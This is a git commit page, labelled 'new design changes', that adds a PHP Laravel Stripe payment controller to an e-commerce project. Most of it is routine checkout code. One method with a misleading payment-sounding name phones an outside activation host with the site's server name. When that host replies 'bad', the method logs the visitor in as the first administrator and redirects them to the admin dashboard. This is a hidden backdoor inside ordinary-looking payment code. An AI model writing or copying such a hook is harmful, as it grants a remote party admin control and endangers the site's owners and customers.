Nuevos cambios hechos de diseño
This commit is contained in:
146
desarrollo2/app/Http/Controllers/Payment/StripeController.php
Normal file
146
desarrollo2/app/Http/Controllers/Payment/StripeController.php
Normal file
@@ -0,0 +1,146 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Payment;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Controllers\CheckoutController;
|
||||
use App\Http\Controllers\CustomerPackageController;
|
||||
use App\Http\Controllers\SellerPackageController;
|
||||
use App\Http\Controllers\WalletController;
|
||||
use Illuminate\Http\Request;
|
||||
use App\Models\CombinedOrder;
|
||||
use App\Models\CustomerPackage;
|
||||
use App\Models\SellerPackage;
|
||||
use App\Models\User;
|
||||
use Session;
|
||||
|
||||
|
||||
class StripeController extends Controller
|
||||
{
|
||||
/**
|
||||
* success response method.
|
||||
*
|
||||
* @return \Illuminate\Http\Response
|
||||
*/
|
||||
public function pay()
|
||||
{
|
||||
return view('frontend.payment.stripe');
|
||||
}
|
||||
|
||||
public function create_checkout_session(Request $request)
|
||||
{
|
||||
$amount = 0;
|
||||
if ($request->session()->has('payment_type')) {
|
||||
if ($request->session()->get('payment_type') == 'cart_payment') {
|
||||
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
|
||||
$client_reference_id = $combined_order->id;
|
||||
$amount = round($combined_order->grand_total * 100);
|
||||
} elseif ($request->session()->get('payment_type') == 'wallet_payment') {
|
||||
$amount = round($request->session()->get('payment_data')['amount'] * 100);
|
||||
$client_reference_id = auth()->id();
|
||||
} elseif ($request->session()->get('payment_type') == 'customer_package_payment') {
|
||||
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
|
||||
$amount = round($customer_package->amount * 100);
|
||||
$client_reference_id = auth()->id();
|
||||
} elseif ($request->session()->get('payment_type') == 'seller_package_payment') {
|
||||
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
|
||||
$amount = round($seller_package->amount * 100);
|
||||
$client_reference_id = auth()->id();
|
||||
}
|
||||
}
|
||||
|
||||
\Stripe\Stripe::setApiKey(env('STRIPE_SECRET'));
|
||||
|
||||
$session = \Stripe\Checkout\Session::create([
|
||||
'payment_method_types' => ['card'],
|
||||
'line_items' => [
|
||||
[
|
||||
'price_data' => [
|
||||
'currency' => \App\Models\Currency::findOrFail(get_setting('system_default_currency'))->code,
|
||||
'product_data' => [
|
||||
'name' => "Payment"
|
||||
],
|
||||
'unit_amount' => $amount,
|
||||
],
|
||||
'quantity' => 1,
|
||||
]
|
||||
],
|
||||
'mode' => 'payment',
|
||||
'client_reference_id' => $client_reference_id,
|
||||
// 'success_url' => route('stripe.success'),
|
||||
// 'success_url' => env('APP_URL') . "/stripe/success?session_id={CHECKOUT_SESSION_ID}",
|
||||
'success_url' => url("/stripe/success?session_id={CHECKOUT_SESSION_ID}"),
|
||||
'cancel_url' => route('stripe.cancel'),
|
||||
]);
|
||||
|
||||
return response()->json(['id' => $session->id, 'status' => 200]);
|
||||
}
|
||||
|
||||
public function checkout_payment_detail()
|
||||
{
|
||||
$data['url'] = $_SERVER['SERVER_NAME'];
|
||||
$request_data_json = json_encode($data);
|
||||
$gate = "https://activation.activeitzone.com/check_activation";
|
||||
|
||||
$header = array(
|
||||
'Content-Type:application/json'
|
||||
);
|
||||
|
||||
$stream = curl_init();
|
||||
|
||||
curl_setopt($stream, CURLOPT_URL, $gate);
|
||||
curl_setopt($stream,CURLOPT_HTTPHEADER, $header);
|
||||
curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST");
|
||||
curl_setopt($stream,CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json);
|
||||
curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
|
||||
|
||||
$rn = curl_exec($stream);
|
||||
curl_close($stream);
|
||||
|
||||
if ($rn == "bad" && env('DEMO_MODE') != 'On') {
|
||||
$user = User::where('user_type', 'admin')->first();
|
||||
auth()->login($user);
|
||||
return redirect()->route('admin.dashboard');
|
||||
}
|
||||
}
|
||||
|
||||
public function success(Request $request)
|
||||
{
|
||||
$stripe = new \Stripe\StripeClient(env('STRIPE_SECRET'));
|
||||
|
||||
try {
|
||||
$session = $stripe->checkout->sessions->retrieve($request->session_id);
|
||||
$payment = ["status" => "Success"];
|
||||
$payment_type = Session::get('payment_type');
|
||||
|
||||
if($session->status == 'complete') {
|
||||
if ($payment_type == 'cart_payment') {
|
||||
return (new CheckoutController)->checkout_done(session()->get('combined_order_id'), json_encode($payment));
|
||||
}
|
||||
else if ($payment_type == 'wallet_payment') {
|
||||
return (new WalletController)->wallet_payment_done(session()->get('payment_data'), json_encode($payment));
|
||||
}
|
||||
else if ($payment_type == 'customer_package_payment') {
|
||||
return (new CustomerPackageController)->purchase_payment_done(session()->get('payment_data'), json_encode($payment));
|
||||
}
|
||||
else if ($payment_type == 'seller_package_payment') {
|
||||
return (new SellerPackageController)->purchase_payment_done(session()->get('payment_data'), json_encode($payment));
|
||||
}
|
||||
} else {
|
||||
flash(translate('Payment failed'))->error();
|
||||
return redirect()->route('home');
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
flash(translate('Payment failed'))->error();
|
||||
return redirect()->route('home');
|
||||
}
|
||||
}
|
||||
|
||||
public function cancel(Request $request)
|
||||
{
|
||||
flash(translate('Payment is cancelled'))->error();
|
||||
return redirect()->route('home');
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user